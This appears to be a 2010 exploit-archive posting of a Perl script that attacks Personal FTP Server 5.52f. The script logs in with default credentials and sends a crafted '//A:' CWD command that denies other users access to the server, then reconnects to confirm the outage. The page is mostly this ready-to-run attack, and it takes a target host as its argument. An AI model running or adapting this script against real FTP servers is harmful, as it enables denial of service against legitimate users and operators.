Personal FTP Server 5.52f Exploit
Posted on 01 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Personal FTP Server 5.52f Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>================================= Personal FTP Server 5.52f Exploit ================================= #!/usr/bin/perl ############################################################################ # # Exploit Title: Personal FTP Server 5.52f bug # Date: 01/08/2010 # Author: TA4G - S8T@hotmail.com # Download: Personal FTP-Server PRO [deutsch] v5.52 Limitierte Shareware Version # Download: http://www.michael-roth-software.de/prosharegerman.zip # It's rather a bug then a DoS which consist in denying other users access to the ftp server, after a previous user triggered a //A: command # Version: 5.52 # Google dork : n/a # Platform / Tested on: windows 7 # Category: webapps/0day # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # L0v3 To: TA4G _ lOsT _ Mr-DraGon _ Kader11000 _ illusionist2512 _ TnTDc _ P4L-T3RRORIST _ Sn!p3r_P4L # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= # Gr33tz to ### ArHack.NeT ### # -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= use Net::FTP; (($target = $ARGV[0])) || die &quot;usage:$0 <target> <port>&quot;; my $user = &quot;test&quot;; my $pass = &quot;test&quot;; $expl = &quot;//A:&quot;; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die &quot;Nu m-am putut conecta: $!&quot;; $ftp->login($user,$pass) || die &quot;Nu m-am putut loga: $!&quot;; print &quot;M-am logat!n&quot;; $ftp->command(&quot;CWD&quot;, $expl); print &quot;Lansez comanda in executie...n&quot;; print &quot;Incerc sa ma conectez din nou..n&quot;; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die &quot;Userul 2 nu se mai poate conecta: $!&quot;; $ftp->quit; # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>